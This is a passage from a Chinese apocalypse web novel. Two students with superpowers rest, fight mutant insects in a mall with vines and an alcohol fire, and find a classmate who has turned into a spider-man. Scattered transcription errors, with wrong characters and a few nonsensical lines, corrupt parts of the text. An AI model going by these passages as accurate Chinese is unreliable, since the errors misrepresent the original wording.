腿,蛛丝细韧,勒得极深,裤腿褪掉后,血珠顺着大腿往下淌。谢崇宜拿着消毒碘酒在乌珩身前蹲下,他撕开棉签的包装袋,拎出两根来了碘酒涂着面前的伤口。有点凉。 乌珩不仅大腿根抖了一下。 谢崇宜扫了一眼正对着自己脸的那小东西,尽管被内裤兜着,但轮廓能看见,他眼梢往上抬了一下,凉悠悠说:“乌珩,你没礼貌。 乌珩不知道说什么。 从他的视角看下去,他连谢崇宜的脸都看不完整,他只能看谢崇宜时不时抬手后舒展开的肩背。 曾丽珂都没对他这么好过,每次乌世明打了他,她再来上药,乌珩都觉得恶心。 林梦之对他也好,只是他不喜欢别人的靠近,他认为自己不需要 “谢谢。”乌珩道。 谢崇宜消毒工作做得很熟练,他给乌珩包好伤口好,了几张纱布,仔细擦拭了一遍淌在乌珩腿上的血渍, “变异蜘蛛没有毒,细菌的变异对你的影响应该不会特别大,毕竟你是异能者。 乌珩点了下头,接过谢崇宜手里的裤子穿上。 14 穿上, 1空自永正关,1个京广在 站在乌珩身后,谢崇宜插着兜,“这好像是女士的,还是低腰裤。 乌珩立马就要脱下来。 谢崇宜按住他的手,“先将就着,待会重新拿一条。 说罢后,他又道:“难道你想光着屁股到处跑?" 乌珩没说话,他挪到沙发上坐下,看坐下去的力道,明显很不爽。 谢崇宜也跟着走了过去,他挨着乌珩坐下,从外套口袋里掏出了一把东西放在了茶几上。 是能量核,其中一大部分还是木系能量核。 “你应该用得上。”谢崇宜往后靠去,耷拉下眼皮,看样子是准备休息了。 乌珩没有动作,“你不用?" “你受伤了你先挑,我不挑属性,都能用。" 乌珩倾身过去,认真地摆弄着这一堆能量核,蜥蜴属火,蜘蛛属木,他想了想,拿出了自己身上的水系能量核,他粗略数了数,有二十枚左右,虽然属性各有不同,可大小同等。 他没有急着吸收转化,而是将能量核按照颜色的深浅依次排序。 唯——颗水系能量核颜色在其中最浅,乌珩回想起刚刚那慢慢腾腾爬行的变异蜗牛,对方的攻击性大概垫底。 “班长。”乌珩忽然叫了一声谢崇宜。 后者似乎快要睡着了,回应得懒洋洋的,“嗯。 “变异生物和异能者是不是应该分一下等级?”他问道。 "你想分就分。" 乌珩将蜗牛的能量核挑出来,“蜗牛废物,e级。 谢崇宜的眼睛在他身后缓缓睁开,直勾勾地看着少年的后脑勺。 “蜘蛛和蜥蜴的能量核深浅度一样,算…d。” “我们只能单挑蜘蛛和蜥蜴的其中一只,打一群需要拼命,所以我们应该也是d。" “梦之刚觉醒异能,没有资格参与评级。" “乌珩。”谢崇宜嗓音突兀地响起,他不知道什么时候清醒了过来,倾身与少年并肩,视线锋利地砸在乌珩脸上,尽是审视. “嗯?”乌珩把所有木系能量核都搜刮进了自己的手里。 谢崇宜像是没看见乌珩贪心的小动作,问道:“蜗牛的能量核,你哪来的?" 乌珩身形一僵。 ".….捡的。" 谢崇宜意思性地问了句,也不指望能从乌珩嘴里听到实话,他靠回去,“你运气挺好。 乌珩攥着木系能量核一边吸收转化一边喃喃, “幸运儿是这样的。" 身后的男生意味不明地笑了声。 另一处的气氛就没有这么融洽了。 林梦之靠着墙坐在地上,戒备地看着对面几个人,他眼睛都不敢闭太久,生怕下一秒他们就扑上来杀人灭口抢可乐。 这些人说不定在学校的时候还霸凌过乌珩。 乌芷睡了一觉又醒来,她头上的X跟她一块醒来, “梦之哥哥,我饿了。 “喝可乐。”林梦之说。 乌芷小声说:“你干嘛学我哥哥说话? 林梦之其实是累,他不知道外面几点了,更加不知道时间已经过去多久了,他要提防着对面的人抢食,要提防有可能会冲进合库的变异虫子或者丧尸,要去想乌珩此刻是否还安全,他一秒钟都不敢休息,累得前所未有。 到此时,他终于体会到了乌珩的感受,从末世前两天,乌珩应该就一直处于与他现在类似的精神紧绷状态。 然而现在轮到了他,只是这么一会儿,他就有些扛不住了,乌珩却拖着他们这么一堆废物扛了一周多的时间,期间还经历了死而复生 “梦之哥哥,你哭什么啊?你很怕吗?”乌芷突然发现林梦之在哭。 “不是怕,我是觉得我们该长大了。”林梦之抹了把眼睛。 乌芷认真道:“是呢,我们的身体和我们的脑子都还有很大的上升空间哦。 X在乌芷头顶嘎嘎嘎笑个不停。 林梦之哭笑不得,但表情在之前那个用水盾的男生朝自己走来时,僵在了脸上。 他撑着墙,试图站起来,但腿麻了,又滑了下去。 “怎样?比划比划?" 薛慎蹲下来,“我是乌珩班上的学委,我之前说过我的名字,我叫薛慎,我没有欺负过他。 林梦之:“你想喝可乐?" “可以不喝,我更希望我们可以合作,毕竟现在我们都被困在了这里,不合作的话,我们可能都走不出去。”薛慎长得其实相当斯文和气,一看就是老师家长都喜欢的那种孩子,发型也不张汤,不疾不徐的说话语气很容易说服人 林梦之想了想,觉得对方说得也没错,更别提他还带了一个傻子。 “怎么合作?" 薛慎低声道:“沈平安是速度系异能者,他会出去探察情况,他回来之后,我们根据他给的路线离开购物中心。“ “离开?!”林梦之惊讶道。 “你想怎么做?" “我发小在这里边呢,我不走。" “你怎么确定的他还在这儿?说不定他已经走了。”薛慎缓缓道,“无论如何,活着的人最重要,你不想走可以留在这里,但我认为这并不是乌珩愿意看到的。 薛慎低头看了眼手表,“十分钟后我们会开始行动,你可以不参与,留在这里。“说完后他便离开,回到了自己那方的阵营。乌芷似乎也感受到了林梦之纠结焦躁的情绪,她看了看对面那几个人,又看林梦之,“我们要走了吗?不管哥哥了吗?“要不梦之哥哥你跟他们走吧,把小鸟也带上,我留下,我等哥哥。”乌芷皱着眉说 “你等屁等。”林梦之没好气道。 乌芷揪着猴子耳朵,“哥哥死了,我也不活了,我不能没有哥哥。 林梦之深吸一口气,摸了把乌芷的脑袋,朝薛慎走去。 “我们一起走,但我有个条件。" 员工休息室里一片昏暗,谢崇宜虽然找到了蜡烛跟打火机,但也没法用,灯光太招虫子 乌珩蜷缩在沙发上,他腿上的疼已经好转了许多,又或者其实不是疼痛好转,而是一阵强过一阵的饥饿感将伤痛硬生生压了下去. 那一只蜗牛吃进肚子里,就只像是喝了一口水。 与谢崇宜共处一室,他也没办法钻进空间里吃东西。 况且,与谢崇宜共处一室,主动去吃别的食物,跟放着山珍海味不吃而选择去吃屎没有区别。 哪怕只是一口,一口也好。 乌珩饿得冷汗流了下来,他浑身血液似乎都凝固了,心脏和胃一抽一抽的疼。 他不知道自己饿得在哼哼唧唧,睡在旁边沙发上的谢崇宜被他吵醒。 谢崇宜睁开眼睛,很快坐了起来走下沙发。 他轻手轻脚走到乌珩旁边蹲下,少年的脸上布满了汗水,眉头紧皱,汗水将睫毛都染得湿亮亮的。 “乌珩?”谢崇宜唤了一声,不知道对方这是什么情况,但他能察觉到对方此时的能量波动很虚弱。 怎么回事?前面不是吸收了那么大一把能量核? “乌珩?”谢崇宜推了推乌珩的肩膀。 乌珩猛地睁开眼,他双眼血红,忽然支起上身。 谢崇宜还没反应过来,乌珩就扑进了他的怀里,将他紧紧抱住。少年身上有一股极淡极淡的青草气息,不苦,就是清新干净的草植味儿,让人想起他使出异能时的样子,藤蔓如蛇群从他身体里涌出,作为主人的他却是一身无害的小草味儿他的手臂也像那些藤条一样,很紧很紧地死楼着谢崇宜,而接着谢崇宜,这明显还不能够满足他,他将脸埋进了谢崇宜的脖颈里,湿凉的面颊差点滚开了谢崇宜的外套扣子。谢崇宜还没跟人这么亲密接触过,他不讨厌,但更谈不上喜欢,是同类也不行。谢崇宜攥住乌珩手腕往外拽了拽,乌珩却像蛇一样缠在了他的身上,他这一拽,两个人直接抱着摔在了沙发上, “乌珩。”谢崇宜口吻凌厉起来。 乌珩的意识这时候才清醒了一分,但仅仅只是一分。 他身形顿了顿,慢慢抬起头,用一双雾蒙蒙的眼睛看着谢崇宜,“我好饿。 谢崇宜差点笑了,他没想到乌珩闹这么一通是因为饿了。 “我也两天没吃东西了,我有这么抱着你闹吗?松手。”他虽然是笑着说的,但眼底其实没有半点笑意。 乌珩定定地看着谢崇宜,“可是,我饿了啊。 谢崇宜仍旧是不咸不淡的语气,“你只会说这么一句话?" “你不懂我。”乌珩把脸埋进了谢崇宜的怀里,他用脸蹭了蹭对方覆盖着薄薄肌肉的胸膛,虽然隔着衣服,但他也感受到了熨帖与满足,饥饿的难受感甚至在因此逐渐被缓解。 谢崇宜拉不开对方,只能任由对方这似要赖似要流氓似没脸没皮的行径。 他自己都有一瞬间的讶异,因为换成任何一人在现在这种要命的关头,还像乌珩这么赖在他的身上,对方大概已经成为一具尸体了。 “班长。”乌珩趴在谢崇宜身上,瓮声瓮气说话。 “嗯。" “你为什么会这么香?"乌珩发现谢崇宜不再拉拽自己后,将脸贴上了谢崇宜的脖颈,同时,他眼神静静地看着对方凸起的喉结,涌动着血液的几根大血管,温热芬芳。 谢崇宜半阖着眼,他在思考着乌珩为什么会突然这么反常? 因为饥饿?又不是三岁小孩了。 他思考的时候手里喜欢捏件东西,但这会儿没什么物件给他盘,他手指不自觉地将乌珩的耳垂摸到了手里,跟屁股一样,乌珩的耳垂也有肉,而且手感还很好,比谢崇宜的那些珠子好盘。 瞬间,谢崇宜的思绪往另一个方向飞去了,他忽然想道,乌珩的屁股也跟耳垂一样好盘吗? “我好了。”乌珩这时候突然起身,眉眼间清冷清醒,“班长,刚刚不好意思。" 谢崇宜脑海里出现一行字:翻脸比翻书还快。 但他也还是坐了起来,“你刚刚真的只是因为饿了?" 乌珩点了下头,“变成异能者之后,比以前容易饿,饿的时候,可能会失去理智,我也控制不了我自己,对不起。 谢崇宜看了乌珩半晌,似乎是在辨别乌珩话的真假。 更何况,刚刚睡梦中的难受模样也很难作假。 想起乌珩刚刚赖在自己身上的场景,谢崇宜又问:“抱我会让你好受点?为什么? 乌珩点头又摇头。 谢崇宜的疑惑也算是他的疑惑,因为校照鸟珩的理解,他饿了想吃谢崇宜这再正常不过,人饿了都得吃东西,可他网)刚没吃上谢崇宜半口,那股在身体里病狂窜动的饥很就因为抱了谢崇宜一会儿而散去了不少。 他自己也不明白这是为什么,但也算好事,起码他现在吃不上谢崇宜,也能靠身体接触解解渴解解馋。 谢崇宜显然也懒得深究,未世降临后,任何奇怪的现象都不足为奇。 他只是看向乌珩,对方又恢复了平时的忧郁冷淡。 其实,还是刚刚投怀送抱的样子顺眼点,半死不活爱答不理张口就是胡诌的模样只会让人想狠狠欺负。 “乌珩,像刚刚这样的情况,是偶尔还是经常?”谢崇宜问道。 “经常这样。”乌珩说。 “那你之前怎么扛过来的?”腿差点断了都能一滴泪不流,一声不吭,但刚刚只是饿了,就神智全失,一副只要给吃的就能任人予取予求的样子。 乌珩:“吃很多东西。 “现在的世界,想随心所欲吃东西,可能比较难。”谢崇宜淡淡道 “的确,”乌珩赞同,“那我以后饿了还能不能抱你?" 说完后,乌珩目光移走,落在面前的茶几上,低声道:“不能也没关系。 谢崇宜挑了下眉,浅浅地笑了起来,似玩笑似认真,“可以,一枚d级能量核换一次抱抱。 28、第28章 乌珩不置可否。 因为说不定在下次食欲爆发时,他可以直接把谢崇宜大卸八块然后分别抽真空装进空间里。 “刚刚那只蜘蛛,”乌珩顿了下,“好像是个人。 谢崇宜:“跟你是一样的情况?召唤蜘蛛?" 乌珩摇摇头,“我没看清他具体长什么样子,但我能肯定他不是在召唤蜘蛛,他就是一只蜘蛛。 谢崇宜没有说话,眼中却露出了微热的兴味,“寄生体?" 不管是什么, 乌珩都觉得麻烦,他厌恶虫子,而跟蜘蛛交手之后,蜘蛛现在排在他的厌恶之最, “班长。”乌珩突然出声。 谢崇宜没有应声,但乌珩能感知到对方的目光落在了自己脸上,在等下文。 “你到时候能不能别把我有异能的事情告诉其他人?" “理由。 ''我也不想知道他们的。 “但是异能者能感应到能量波动,你藏不住。" …我没想藏。”乌珩跟班里的人不熟,连脸都记不住,远远达不到可以交换彼此秘密的关系, “好。"”谢崇宜虽然是大家的班长,但隐私他是不插手的。 “它会是这里的头领吗?”乌珩呐呐道。 “那个蜘蛛人?说不准。”谢崇宜默然片刻后,扬起眼,“要不找它谈谈判?" “我不去。”乌珩不认为自己在面对一只蜘蛛人的时候还能保持冷静。 “我也不去。 谢崇宜手指点着膝盖,“那就找到它,杀了算了。 乌珩细密的睫毛往下掩,下颌收拢的弧度巧致秀美,“可以。”他点头道 “天快亮了。”谢崇宜看了眼手上的腕表,“天亮我们再出去,有些虫子喜阴,白天会回到地下的爬虫馆。 乌珩对此没有意见,他朝旁边看了看,找了个舒适又不占地方的姿势躺下了。 “班长。”他睡之前,突然出声。 谢崇宜闭着眼睛,嗯了一声。 “你饿不饿?" ".你猜。 乌珩没有说话,他半睁着眼,似睡非睡,半响过去后,他手指动了动, 一抹嫩绿的颜色从他手心朝谢崇宜爬过去。 “你试试这个能不能吃。”乌珩把自己最嫩的芽尖给谢崇宜送了过去。 谢崇宜可不能被饿死了,饿死了他以后吃什么。 柔软冰凉的藤芽主动贴上了男生的唇角,还试着往里塞了塞,但没成功。 谢崇宜抬手攥住了藤芽,藤芽有触觉有神智,被人捏在手心不是它一开始的打算,马上就扭动挣扎了起来。 但乌珩没有动作,它也很快平静了下来,任由谢崇宜握在手中。 谢崇宜认真抚触着藤芽,它完全是植物的手感,表面还有一层很难注意到的小绒毛. 跟路边那些盆栽不同,它跟他家阳台外面的三角梅都一样拥有白我意识。 “这是什么植物?”谢崇宜问道。 乌珩声音有气无力,“虞美人。" “虞美人全株有毒,乌珩,你想把我毒死?" “没。”乌珩没说,他大概是这个世界上除了谢崇宜自己以外,最不希望谢崇宜死的人,至少现在是 不知想到了什么,他朝乌珩那边看过去。 少年蜷缩着身体,夹克不是宽松的版型,相反还修身得很,将肩颈背的线条勾勒了多数出来,脊背中间那一条玉骨逐节凸起,他太瘦了,蜷起来的样子跟他手里的藤芽没什么区别。 谢崇宜没有走神太久,他松开手,藤芽滑了回去,却没有回到乌珩手心,而是钻进了乌珩的颈子里窝着。 两人继续睡了会儿。 早上八点,两人再次整装出发。 乌珩拎起菜刀,想着等会儿能不能让藤条拎着砍,他不想近虫子的身。 “你腿怎么样?”出门前,谢崇宜问道。 “还好。”要不是谢崇宜主动提起,乌珩都快忘了自己腿上还有伤,他身体常年都带着大大小小的伤,早就习惯了。 谢崇宜瞥了他一眼,“跟在我后面。”然后,打开了休息室的门。 门一打开,两人就同时愣了一下。 外面俨然已经是一片白色的海洋,蛛丝布满了店内的每一处角落,大大小小的蜘蛛蛋高低错落地悬挂在其中。 谢崇宜刚想迈步,乌珩从后面拉住他,“等等。 乌珩走上前,藤条无声滑出他的袖管。 藤条在地板上沿着蛛丝之间的空隙滑行,它半点声音都没有发出。 一条毛绒绒的蜘蛛腿突然落地,它明显一直蹲守在店里,或许还忙忙碌碌吐了一整晚上的丝就为了逮到他们,于是一觉察到动静,忙就出现。 谢崇宜抬手,掌心朝下,五指缓缓回握。 蛛丝里面发出骨骼的断裂声。 直到有跟昨天晚上一样的黄色黏液淌出,谢崇宜才放下手,他没有像昨天那么粗暴直接地解决,而是悄无声息将这只变异蜘蛛给消灭了。 乌珩让藤条继续探察,之后没有再出现变异蜘蛛。 两人出去后,看见购物中心与末世以前已经大不相同,变异爬虫沉重的身体和锋利的爪牙将光滑的玻璃抓得满是抓痕,各种类型的脚印遍布于视野里的每一处,脚下是大块大块已经凝固的不知源头的黏液。 太阳照射在购物中心上方,明明是暖洋洋的金色,给人感觉却是森冷的。 谢崇宜低声问:“你知道你朋友的大概位置吗?" 乌珩看了谢崇宜一眼,“我连我们在什么位置都不知道。 “你没来过购物中心?" “来过,但是没逛过。”乌珩没有逛街的爱好,再加上,他不上课的时间,家里也有许多事等着他去完成,所以他连购物中心有个两千多平的爬虫馆都不知道。 “待会带你逛逛。”谢崇宜说道。 乌珩:"好。 乌珩刚点完头,一阵羽翅扇动的声音响起,他略微侧头,藤条就朝声音传来的方向刺了出去,一只灰毛的鸟偏着身体躲得异常狼狈。 “你怎么来了?”乌珩接住X,“梦之跟乌芷呢?" X在乌珩怀里抬起头,嘎嘎叫了两声。”他们已经出去了。”乌珩看向谢崇宜,又垂下眼,“那你怎么没走?" X又叫了两声。 “哦,跟着他们没前途。”乌珩明白了,X预备将利益至上贯彻到底。 X在乌珩面前是娇羞的,他跳到乌珩肩膀上,万分防备地看着一旁的谢崇宜 正式出发之前,乌珩还是多问了X一句,“我跟我班长要去虫子的大本营,你确定要跟我们一起去?" X满头满脸的不确定。 谢崇宜趴在栏杆上,回望过来, “它跟着起什么作用?" ? X用力扇了两下翅膀,将右脚高高地抬了起来! 谢崇宜还不知道它抬脚是什么意思。 乌珩:“抬左脚是否,抬右脚是可。 谢崇宜盯着一人一鸟看了会儿,“挺好,走吧。 整个购物中心静悄悄的,仅剩零星几只丧尸在走来走去,乌珩用藤条解决得悄无声息 X飞过去掏了能量核,像为了证明自己的一样,特意从谢崇宜眼前飞过去。 谢崇宜没理他,而是说:“不知道这些虫子这几天都吃什么。" 乌珩也同样疑惑。 走到一楼后,体感温度明显低了不少,乌珩脖子上起了一小片鸡皮疙瘩,X的眼睛也逐渐红了起来,警惕得恨不得三百六十度猛转。 电梯已经停止工作,旁边摆的几盆绿植却根粗叶肥,绿得发亮, 乌珩路过,顺手用藤条在盆里掏了掏,没有能量核。 他收手很快,谢崇宜也没有察觉。 接着路过一家百货超市时,乌珩顿住了脚步,他表情平静地看着超市里面,不知其所想。 X能听懂少年说话,但无法猜透少年的想法,它明显以为超市里面可能出现了什么怪物,眼睛一瞬不瞬地跟着看 “班长。”乌珩叫住谢崇宜,“我进超市看看。 说完后,他也没管谢崇宜,兀自踏进了超市。 购物中心的百货超市都比外面的普通超市要高级大气,货品摆放的设计动用了不少巧思,规矩整齐得令人看了就身心舒畅, 乌珩在一面玻璃柜前停下脚步,他拉开滑门,一只一只地拿上面的打火机。 走出超市时,乌珩夹克外套的两个大口袋都装得鼓了起来。 谢崇宜站在消防通道的门边等他。 “买什么去了?" “没花钱。 谢崇宜办正事的时候就恢复成了在学校那副冷淡疏离的模样,他没追问,拉开了消防通道的门,让乌珩先进去。 乌珩走进去后,站在原地眯眼看着楼梯下方的转角处,谢崇宜关上门,又走在了乌珩前面,但也同样在刹那间停下了脚步。 如同巨兽的蜥蜴背对着他们正趴在转角处,不止一只,从转角开始往下,尽是变异蜥蜴浑身带刺的坚硬的表皮。 它们不知是特意守在这里还是干什么,眼睛都快要闭上了,也完全没有察觉到身后来了人。 谢崇宜看向乌珩,仿佛预知了乌珩在想什么似的,用口型道告诉他,“晒太阳。 原来是在晒太阳。 乌珩露出了然的表情,然后青藤拎着两枚打火机悬在了它们头顶上方。 哗哔哔。 另一条藤蔓将酒精泼出去。 没等变异蜥蜴反应过来,燃着火苗的打火机落在了它们的身上 隐隐发蓝的火焰燃起来的那一瞬间,乌珩拉着谢崇宜,躲到了楼梯上方。 空气中飘起肉的焦香,蜥蜴发上刺且的嘶叫 下面的动静震天,变异蜥蜴几百斤的身体碰撞到一起,摔下楼梯,驮着一身火苗就往地下一楼的室内窜。 乌珩不动声色,直到下面传来不属于蜥蜴,而是其他虫类的喊叫。 “酒精我拿不了多少,火燃一会儿应该自己就灭了。”乌珩只是想试试它们怕不怕火,尽管他已经认为没有生物不惧怕火,但如今的世界,一切皆有可能,他必须亲自确定。负一楼的混乱和变异动物的痛喊一阵接一阵的响起,到变得微弱,再消失,整个过程中,乌珩都始终保持着一开始的若有所思的表情,他没有因此而动恻隐之心,半点都没有。谢崇宜坐在台阶上,“你刚刚去超市就是为了拿酒精跟打火机?"乌珩看着下方,“想试试。”短暂的寂静过后,楼下传来属于人类的咆哮声。“谁?谁先背着火进来的?我怎么跟你们说的,规矩!规矩!规矩呢!!!你看看你这头猪冲进来把其他虫子吓成什么样子了?你把这只豹纹壁虎都他妈压瘪了!!!""都瘪了,我们大家一起哀悼吧。“哀悼结束,我将把它的尸体埋进我的肚子里,呜呜呜呜呜,我可怜的小豹纹。楼下传来清脆响亮的咀嚼声。看来昨天晚上那只变异蜘蛛人真是它们的头儿。只是变异动物都还说,再怎么变异也是动物,无非是大了点皮硬了点牙齿长了点动作灵活了点,再聪明了点。可如果跟人类长在了一起-谢崇宜仰头任阳光落在脸上,他眯起眼睛,“我们把它引出来。乌珩首先想到的就是用肉。他眼睛看着谢崇宜,微微发亮,脸上的阴郁都顿时消散了不少,"怎么引?"谢崇宜坐在靠里的位置,他这时候忽然扬起手臂搂着乌珩的肩膀把人揽进了怀里,然后倾身看向楼下后方,“嗨。乌珩:"?"楼下的唧唧叽,叽声在谢崇宜“打招呼”之后消失得无影无踪。乌珩保持着靠在谢崇宜的怀里的姿势没动,只听得楼下传来充满了怒火的吼声。"你们别动,待我去会会,我要把它们大卸八块!"“别忘了我说的话,规矩!纪律!"它的爬行声雄赳赳气昂昂,每一只脚跺在地上都气势十足,但也能听出来对方绝对是一只多足动物。它沿着楼梯,两只脚黏在墙壁上,两只脚黏在楼梯扶手上,另外几只脚分别用来上台阶,它爬得速度很快,转眼上了转角。“诶呀,妈的转不过来!"它几条蜘蛛腿又细又长,浑身遍布绒毛,身上的颜色同宝石蓝一般无二,个别部位点缀着几点浅蓝和白色,一看就是剧毒。它腿卡在了扶手栏杆里,半天没抽出来。谢崇宜悄然出手,咔嚓一声,蓝蜘蛛的一条腿应声而断,“嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷!"你们完了你们完了,你们掰断了救世主纤细修长的小腿!"薛屺痛得眼泪都快掉了下来,看着那一群堵在门口张望的变异蜥蜴,他厉声道,“看什么看?想跟我抢食?没门儿!它浑然不知身后台阶上已经全部都是柔软的藤条,它们无孔不出,从它的身体底部盘旋缠绕上去。待反应过来时,已经包裹住它整具身体的藤瞬间收紧,其中一根还塞进了它的嘴里,它被拖上楼梯"唔…唔唔!”它被一路拖拽到了乌珩脚下。薛屺瞪大眼睛看着对方,眼中没有愤怒和恐惧,反而还有,喜悦?乌珩扬手,掌心的藤条瞬间绷直,像剑一样指着蜘蛛人的喉咙。“唔!”它大幅度挣扎,直到看见乌珩旁边的谢崇宜。谢崇宜也看清了它的脸。 而乌珩已经准备解决对方了。 谢崇宜欸了声,将乌珩往旁边拉,“我认识。 “认识?”乌珩放下手,“你确定?" 谢崇宜:“薛屺,薛慎弟弟,亲弟弟,双胞胎。"“唔!唔唔唔!"蜘蛛人一个劲地疯狂点头,眼泪鼻涕一起流。乌珩嫌脏,马上就收走了全部的藤蔓。薛屺几,只腿乱蹬,最后哎呀哎呀个不停,眼一眨,变成了一个十七八岁的少年,扑上来就抱住了谢崇宜,“"老谢你怎么会在这儿?我哥呢?我哥有没有跟你在一起?"乌珩觉得这莫名像一场认亲。他没怎么感受到过这种汹涌的爱,他站在一旁,既感到陌生又浑身不自在,于是转身往上面走了几步,坐在了上方的台阶上。“他跟我一起来的购物中心,现在应该已经出去了。”谢崇宜推开薛屺,看着自己身前的鼻涕眼泪,深吸了一口气,“你怎么在这儿?"薛屺走到快手旁边,看了看那些已经开始自由活动的变异虫子,又走回到了谢崇宜跟前,“说来话长,我不是兼职嘛,那肯定得在购物中心开门营业前面到店,那些虫子喝的吃的玩的都得换都得洗,玻璃也得擦 谢崇宜靠在了墙上,“长话短说。 “反正就是我们副店长突然抓着我哨,给我吓得半死,我本来想捞走一只我最喜欢的蓝蜘蛛就跑路,慌里慌张的又被它咬了一口,再醒来的时候,卧槽尼玛鳄鱼那么大的守官在我旁边爬来爬去!"老谢我跟你讲我都吓下晕了,我真吓晕了,之后我就又醒了,我爬起来,我的老天我发现我服又多又长,我跨哈哈跑到镜子前面,发现自己除了脑袋以外,其他部位全变成了我之前最喜欢的那种蓝物蛛,而且还超他妈的大!“那时候还没停电,我就去翻手机,网着了几条消息,还没刷过瘾,一条棍子横打到我身上,我一拾头,草,不是棍子,是知珠腿,你清怎么着,我们副店长也跟我是一样的情况,但唯一不同的是,他失去了理智,我主观上不是认为我是个人的,虽然我知道客观上我肯定已经不算人了。我跟他打了一架没打过,这王八蛋是红背蜘蛛,比我毒,这人还是个人的时候就特别明险,变成怪物都是最毒的那一种,他不让我走,让我在这里给他当二把手,现在他是店长,我是副店长。“现在这下面的虫子多半都已经变异,没有变异的都成了它们的口粮。”"昨天晚上我被店长安排出来巡逻,我看见有人真是高兴坏了,结果你们死活不开门,那个,谁,开了门还直接打了我一拳,急死我了。“那你在这里吃什么?”谢崇宜转移了话题,薛屺一下就结巴了,“我….我也会跟它们一……一起吃点,但你们放心,我没有吃过丧尸,更加没有吃过人!" 谢崇宜垂着眼,表情不冷不热。 “你腿怎么样?" 薛屺笑呵呵的, “我没事,断的是其他的腿,很快就能长出来,这个不重要,重要的是,外面现在怎么样了? “挺糟糕的。” 薛屺愣了愣,紧跟着就叹了口气,“想也知道,要是外面没事,这些死虫子早就有人来收拾了,现在已经过去一个多星期,外面还一点动静都没有。 “你们回去吧,下午三点的时候我店长会午睡,到时候你们就悄悄走,他不会发现的。”薛屺瘫坐到台阶上,马上就没了精神气. “你呢?”这次发问的是乌珩。 乌珩趴在自己膝盖上,无精打采地看着前方。 都这时候了,薛也做得问你是谁,他只觉得乌珩气质还延特别,多礁了两眼后便开始回答问题,“店长每次午趣的时候都非要我守在旁边,寸步不离!他有个哨兵,我只要离开一步这个哨兵就会叫醒他,要不是店长现在每天都要现难性圾 蛛交//配,我都快怀疑他以前是不是暗恋我了。" “什么?”乌珩和谢崇宜异口同声。 薛屺:“暗恋我很奇怪吗?" 谢崇宜摆摆手,“暗恋你奇怪,但你前面说的那件事更奇怪。 "你们以为我团说的啊,我不拍了照片的,我不想着等以后恢复正常了,我这个照片说不定还能波纪录片采用,就是我现在根本走不了,要不是没法走,我真想拿给你们看看!“薛记说起这些的时候,整米脸险有在往各个方向裂,做是忍天可 忍 想到自己一辈子可能都只能在购物中心的爬生馆当一辈子蜘蛛,薛屺心底涌出绝望,他眼泪开始不住地掉,“早知道我之前许愿就不许下辈子要做一只蓝婉蛛了,这愿望也实现得太快了,这辈子就给我实现了。 乌珩和谢崇宜就静静地看着他哭了半天。X则是抬起脑袋打了个哈欠。 薛屺哭得嗓子有些发疼才停下来,下面一只蜥蜴正在探头探脑, 他看见了, 马上吼过去, “我马上就要打赢了,喜极而泣,滚远点! 那只蜥蜴缩了下脖子,甩着尾巴退了回去。 薛屺不再哭了,乌珩才开口道:“你可以跟我们一起走。 谢崇宜靠着墙,身体朝乌珩所在的上方微偏,懒洋洋的。 “怎么走?你们知道一楼有多少变异虫子吗?你们知道部分爬虫繁殖得有多多有多快吗?它们变异之后就更疯狂,这一个多星期它们就没出去过,自己生的自己吃,就这还吃不完! 薛屺抓着脑袋,他在下面天天跟虫子待在一起,要不是亲口说出来,他都快觉得这很正常了。 乌珩抬眼,朝谢崇宜看过去,谢崇宜与他对视。 楼梯上酒满了阳光,谢崇宜却觉得乌珩的眼睛又黑又冷。不管乌珩说什么做什么,他这个人,始终都带着一丝晒不干吹不透的潮湿。 谢崇宜收回端详乌珩的目光,朝薛屺挑了下眉,“一把火,把这里点了,不就能走了?" 29、第29章 “点了?什么点了?”薛屺好像没懂,但不认识的那个男生明显懂了。怎么他能懂谢崇宜?谢宗言这人吧,心思藏得其实并不深,但也没到肥想法写在脸上的程度,他更多的是善变,可正是因为善变,所以他情不透也得猜,就算猜对了,谢索宜也会因为看你不顺眼或者其他司,十七八糟的理出临时改变想法,总之就不是个好东西。 没人理睬薛屺,乌珩说:“不现实。"就算是林梦之在场,想要把购物中心一把火给烧了也依然不现实,点了爬生馆还有可操作性,可里面具体是什么情况,谁也不清楚,万一反倒使变异虫子们倾巢出动,他们几人可能都会把命送在这儿。“用毒吧。”乌珩从台阶上站起来往下走,他忽的看向薛屺,“你现在还要回去吗?"“要回,”薛屺咽了口唾沫,“估计再过几分钟,店长就要派虫来找我了。"“你叫什么名字?”他觉得眼前这个长相秀气的男生看起来还挺好的,比谢崇宜好太多。 “乌珩。 “吴?" "鸟。 “这个姓我还是第一次见。”薛屺伸出脏兮兮的手,“我叫薛屺,薛平贵的薛,山己屺。 乌珩低头看着薛屺那只都快要看不出原本颜色的手,顿了顿,低声道:“握手就不必了。 这时,谢崇宜站直身体,朝外走,“乌珩,走了。"“我们先走了,你自己小心。”乌珩留下一句话,跟了上去。薛屺盯着他们离开的背影看了会儿才慢慢转身,一只体型巨大的蓝蜘蛛出现在楼道里,它几步跳上墙壁,灵活落在负一楼的入口-只蜥蜴凑上来闻他,露出垂涎的眼神。“想死吗?吃你的蚜虫去吧!”蓝蜘蛛用前端锋利如锯的鳌肢直接就将探头探脑的蜥蜴的脑袋剪了下来。蜥蜴的脑袋滚到蓝蜘蛛脚下,它将脑袋拨了拨,抱起来埋头将里面吸了个干干净净,而旁边的蜥蜴躯体还没有停止抽搐,.薛屺吃饱喝足后,将脑壳丢了出去,负一楼地动山摇,变异虫形成黑色的海洋,从四面八方朝蜥蜴脑袋围聚而去,蜥蜴的尸体也很快就被瓜分。购物中心的百货超市。乌珩在醋跟大蒜之间犹豫,不知道虫子变异了还怕不怕这些东西。"试试杀虫剂吧。”乌珩看向谢崇宜。 谢崇宜靠在货架上,“虫子的天敌,我们这里不是有现成的?"他看着乌珩肩膀上那只鸟说。X本来在打盹,撞上谢崇宜若有所思的眼神,立刻就精神抖擞了起来,它抖了抖毛,蹭着乌珩的脸颊,暗示乌珩,它是如此弱小,还不够那些蜘蛛蜥蜴塞牙缝的。“它太小了。”乌珩想了想,对X说,“你去把梦之叫进来。"谢崇宜附和,“还有薛慎,他戴眼镜,要是看见他,把他也叫进来。 X飞出超市。 